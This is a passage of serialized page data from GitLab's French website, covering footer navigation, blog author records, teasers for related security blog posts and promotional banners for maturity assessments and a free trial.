page",{"href":951,"dataGaName":952,"dataGaLocation":953},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":955,"config":956},"Modifier cette page",{"href":957,"dataGaName":958,"dataGaLocation":953},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":739,"config":960},{"href":961,"dataGaName":962,"dataGaLocation":953},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":964,"facebook":965,"youtube":966,"linkedin":967},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[969,1015,1068,1111,1143],{"title":656,"links":970,"subMenu":985},[971,975,980],{"text":972,"config":973},"Voir les forfaits",{"href":658,"dataGaName":974,"dataGaLocation":953},"view plans",{"text":976,"config":977},"GitLab Premium",{"href":978,"dataGaName":979,"dataGaLocation":953},"/fr-fr/pricing/premium/","why premium",{"text":981,"config":982},"GitLab Ultimate",{"href":983,"dataGaName":984,"dataGaLocation":953},"/fr-fr/pricing/ultimate/","why ultimate",[986],{"title":831,"links":987},[988,990,992,995,1000,1005,1010],{"text":838,"config":989},{"href":840,"dataGaName":517,"dataGaLocation":953},{"text":843,"config":991},{"href":845,"dataGaName":846,"dataGaLocation":953},{"text":993,"config":994},"Portail clients",{"href":850,"dataGaName":851,"dataGaLocation":953},{"text":996,"config":997},"Statut",{"href":998,"dataGaName":999,"dataGaLocation":953},"https://status.gitlab.com/","status",{"text":1001,"config":1002},"Conditions d'utilisation",{"href":1003,"dataGaName":1004,"dataGaLocation":953},"/terms/","terms of use",{"text":1006,"config":1007},"Politique de confidentialité",{"href":1008,"dataGaName":1009,"dataGaLocation":953},"/fr-fr/privacy/","privacy statement",{"text":1011,"config":1012},"Gestion des cookies",{"dataGaName":1013,"dataGaLocation":953,"id":1014,"isOneTrustButton":487},"cookie preferences","ot-sdk-btn",{"title":554,"links":1016,"subMenu":1025},[1017,1021],{"text":1018,"config":1019},"Plateforme DevSecOps",{"href":536,"dataGaName":1020,"dataGaLocation":953},"devsecops platform",{"text":1022,"config":1023},"Développement assisté par l'IA",{"href":543,"dataGaName":1024,"dataGaLocation":953},"ai-assisted development",[1026],{"title":1027,"links":1028},"Thèmes",[1029,1033,1038,1043,1048,1053,1058,1063],{"text":574,"config":1030},{"href":1031,"dataGaName":1032,"dataGaLocation":953},"/fr-fr/topics/ci-cd/","cicd",{"text":1034,"config":1035},"GitOps",{"href":1036,"dataGaName":1037,"dataGaLocation":953},"/fr-fr/topics/gitops/","gitops",{"text":1039,"config":1040},"DevOps",{"href":1041,"dataGaName":1042,"dataGaLocation":953},"/fr-fr/topics/devops/","devops",{"text":1044,"config":1045},"Contrôle de version",{"href":1046,"dataGaName":1047,"dataGaLocation":953},"/fr-fr/topics/version-control/","version control",{"text":1049,"config":1050},"DevSecOps",{"href":1051,"dataGaName":1052,"dataGaLocation":953},"/fr-fr/topics/devsecops/","devsecops",{"text":1054,"config":1055},"Cloud-native",{"href":1056,"dataGaName":1057,"dataGaLocation":953},"/fr-fr/topics/cloud-native/","cloud native",{"text":1059,"config":1060},"IA pour la programmation",{"href":1061,"dataGaName":1062,"dataGaLocation":953},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":1064,"config":1065},"IA agentique",{"href":1066,"dataGaName":1067,"dataGaLocation":953},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":1069,"links":1070},"Solutions",[1071,1074,1076,1081,1084,1087,1090,1093,1095,1098,1101,1106],{"text":599,"config":1072},{"href":594,"dataGaName":1073,"dataGaLocation":953},"Application Security Testing",{"text":586,"config":1075},{"href":570,"dataGaName":571,"dataGaLocation":953},{"text":1077,"config":1078},"Développement Agile",{"href":1079,"dataGaName":1080,"dataGaLocation":953},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":581,"config":1082},{"href":583,"dataGaName":1083,"dataGaLocation":953},"source code management",{"text":574,"config":1085},{"href":576,"dataGaName":1086,"dataGaLocation":953},"continuous integration & delivery",{"text":625,"config":1088},{"href":627,"dataGaName":1089,"dataGaLocation":953},"value stream management",{"text":1034,"config":1091},{"href":1092,"dataGaName":1037,"dataGaLocation":953},"/fr-fr/solutions/gitops/",{"text":638,"config":1094},{"href":641,"dataGaName":642,"dataGaLocation":953},{"text":1096,"config":1097},"PME",{"href":647,"dataGaName":648,"dataGaLocation":953},{"text":1099,"config":1100},"Secteur public",{"href":653,"dataGaName":654,"dataGaLocation":953},{"text":1102,"config":1103},"Éducation",{"href":1104,"dataGaName":1105,"dataGaLocation":953},"/fr-fr/solutions/education/","education",{"text":1107,"config":1108},"Services financiers",{"href":1109,"dataGaName":1110,"dataGaLocation":953},"/fr-fr/solutions/finance/","financial services",{"title":661,"links":1112},[1113,1115,1117,1119,1122,1124,1127,1129,1131,1133,1135,1137,1139,1141],{"text":674,"config":1114},{"href":676,"dataGaName":677,"dataGaLocation":953},{"text":679,"config":1116},{"href":681,"dataGaName":682,"dataGaLocation":953},{"text":684,"config":1118},{"href":686,"dataGaName":687,"dataGaLocation":953},{"text":689,"config":1120},{"href":691,"dataGaName":1121,"dataGaLocation":953},"docs",{"text":712,"config":1123},{"href":714,"dataGaName":715,"dataGaLocation":953},{"text":1125,"config":1126},"Nouveautés",{"href":772,"dataGaName":773,"dataGaLocation":953},{"text":707,"config":1128},{"href":709,"dataGaName":710,"dataGaLocation":953},{"text":726,"config":1130},{"href":728,"dataGaName":729,"dataGaLocation":953},{"text":734,"config":1132},{"href":736,"dataGaName":737,"dataGaLocation":953},{"text":739,"config":1134},{"href":741,"dataGaName":742,"dataGaLocation":953},{"text":744,"config":1136},{"href":746,"dataGaName":747,"dataGaLocation":953},{"text":749,"config":1138},{"href":751,"dataGaName":752,"dataGaLocation":953},{"text":754,"config":1140},{"href":756,"dataGaName":757,"dataGaLocation":953},{"text":759,"config":1142},{"href":761,"dataGaName":762,"dataGaLocation":953},{"title":775,"links":1144},[1145,1147,1149,1151,1153,1155,1160,1165,1167,1169,1171],{"text":783,"config":1146},{"href":785,"dataGaName":777,"dataGaLocation":953},{"text":788,"config":1148},{"href":790,"dataGaName":791,"dataGaLocation":953},{"text":796,"config":1150},{"href":798,"dataGaName":799,"dataGaLocation":953},{"text":801,"config":1152},{"href":803,"dataGaName":804,"dataGaLocation":953},{"text":806,"config":1154},{"href":808,"dataGaName":809,"dataGaLocation":953},{"text":1156,"config":1157},"Développement durable",{"href":1158,"dataGaName":1159,"dataGaLocation":953},"/sustainability/","Sustainability",{"text":1161,"config":1162},"Diversité, inclusion et appartenance (DIB)",{"href":1163,"dataGaName":1164,"dataGaLocation":953},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":811,"config":1166},{"href":813,"dataGaName":814,"dataGaLocation":953},{"text":821,"config":1168},{"href":823,"dataGaName":824,"dataGaLocation":953},{"text":826,"config":1170},{"href":828,"dataGaName":829,"dataGaLocation":953},{"text":1172,"config":1173},"Déclaration de transparence sur l'esclavage moderne",{"href":1174,"dataGaName":1175,"dataGaLocation":953},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1177},[1178,1180,1182],{"text":1001,"config":1179},{"href":1003,"dataGaName":1004,"dataGaLocation":953},{"text":1011,"config":1181},{"dataGaName":1013,"dataGaLocation":953,"id":1014,"isOneTrustButton":487},{"text":1006,"config":1183},{"href":1008,"dataGaName":1009,"dataGaLocation":953},[1185,1199],{"id":1186,"title":7,"body":483,"config":1187,"content":1189,"description":483,"extension":1193,"meta":1194,"navigation":487,"path":1195,"seo":1196,"stem":1197,"__hash__":1198},"blogAuthors/en-us/blog/authors/josh-feehs.yml",{"template":1188},"BlogAuthor",{"name":7,"config":1190},{"headshot":1191,"ctfId":1192},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683068/Blog/Author%20Headshots/Screenshot_2023-11-28_at_9.12.13_AM.png","g5S7qgnlO5aJJ00brs77P","yml",{},"/en-us/blog/authors/josh-feehs",{},"en-us/blog/authors/josh-feehs","GCxiCFjrkcnCx0oF_E3Ps7yjaL35GgFUFRhUekMz-kw",{"id":1200,"title":8,"body":483,"config":1201,"content":1202,"description":483,"extension":1193,"meta":1207,"navigation":487,"path":1208,"seo":1209,"stem":1210,"__hash__":1211},"blogAuthors/en-us/blog/authors/austin-bollinger.yml",{"template":1188},{"name":8,"config":1203},{"socialProof":1204,"headshot":1206},{"gitlabHandle":1205},"abollinger","https://res.cloudinary.com/about-gitlab-com/image/upload/v1777924577/onj1gejpwvhpohv3bkn1.png",{},"/en-us/blog/authors/austin-bollinger",{},"en-us/blog/authors/austin-bollinger","BSNqQmtgHA6iCVP1CHVX9wRVQbFAten_KrTHkUgFdpQ",[1213,1222,1230],{"title":1214,"description":1215,"heroImage":1216,"category":479,"date":1217,"authors":1218,"slug":1221,"externalUrl":483},"Une campagne imitant Shai-Hulud cible les développeurs Python via le typosquatting PyPI","L'équipe Vulnerability Research de GitLab a découvert une attaque de la chaîne d'approvisionnement Python sur PyPI, qui déploie le ver Shai-Hulud pour dérober des identifiants provenant des systèmes CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-06-15",[1219,1220],"Dinesh Bolkensteyn","Daniel Abeles","shai-hulud-copycat-campaign-targets-python-developers",{"title":1223,"description":1224,"heroImage":1225,"category":479,"date":1226,"authors":1227,"slug":1229,"externalUrl":483},"Créez un framework de tests de détection automatisés avec GitLab CI/CD et GitLab Duo","Découvrez comment l'équipe Signals Engineering de GitLab a conçu le framework WATCH pour valider en continu son pipeline de surveillance de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-06-08",[1228],"Evan Baltman","automated-detection-testing-framework",{"title":1231,"description":1232,"heroImage":1233,"category":479,"date":1234,"authors":1235,"slug":1237,"externalUrl":483},"Automatiser l'analyse des lacunes de détection avec GitLab Duo Agent Platform","Découvrez comment l'équipe Signals Engineering de GitLab utilise notre plateforme d'IA pour identifier automatiquement les lacunes de détection après chaque incident de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1773147991/op5xyroonltdwqix0x3u.png","2026-05-21",[1236],"Matt Coons","automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"promotions":1239},[1240,1254,1265,1276],{"id":1241,"categories":1242,"header":1244,"text":1245,"button":1246,"image":1251},"ai-modernization",[1243],"ai","L'IA tient-elle ses promesses à grande échelle ?","Le questionnaire ne prendra pas plus de 5 minutes.",{"text":1247,"config":1248},"Obtenez votre score de maturité IA",{"href":1249,"dataGaName":1250,"dataGaLocation":715},"/fr-fr/assessments/ai-modernization-assessment/","modernization assessment",{"config":1252},{"src":1253},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1255,"categories":1256,"header":1257,"text":1245,"button":1258,"image":1262},"devops-modernization",[498,1052],"Vous contentez-vous de gérer des outils ou de livrer des innovations ?",{"text":1259,"config":1260},"Obtenez votre score de maturité DevOps",{"href":1261,"dataGaName":1250,"dataGaLocation":715},"/fr-fr/assessments/devops-modernization-assessment/",{"config":1263},{"src":1264},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1266,"categories":1267,"header":1268,"text":1245,"button":1269,"image":1273},"security-modernization",[496],"Faut-il sacrifier la rapidité pour garantir la sécurité ?",{"text":1270,"config":1271},"Obtenez votre score de maturité en matière de sécurité",{"href":1272,"dataGaName":1250,"dataGaLocation":715},"/fr-fr/assessments/security-modernization-assessment/",{"config":1274},{"src":1275},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1277,"paths":1278,"header":1281,"text":1282,"button":1283,"image":1288},"github-azure-migration",[1279,1280],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Votre équipe est-elle prête pour la migration de GitHub vers Azure ?","GitHub a déjà commencé sa migration vers Azure. Découvrez ce que cela signifie pour vous.",{"text":1284,"config":1285},"Découvrez les différences entre GitLab et GitHub",{"href":1286,"dataGaName":1287,"dataGaLocation":715},"/fr-fr/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1289},{"src":1264},{"header":1291,"blurb":1292,"button":1293,"secondaryButton":1297},"Commencez à développer plus rapidement dès aujourd'hui","Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.\n",{"text":509,"config":1294},{"href":1295,"dataGaName":512,"dataGaLocation":1296},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/fr-fr/","feature",{"text":838,"config":1298},{"href":840,"dataGaName":517,"dataGaLocation":1296},1786803764689]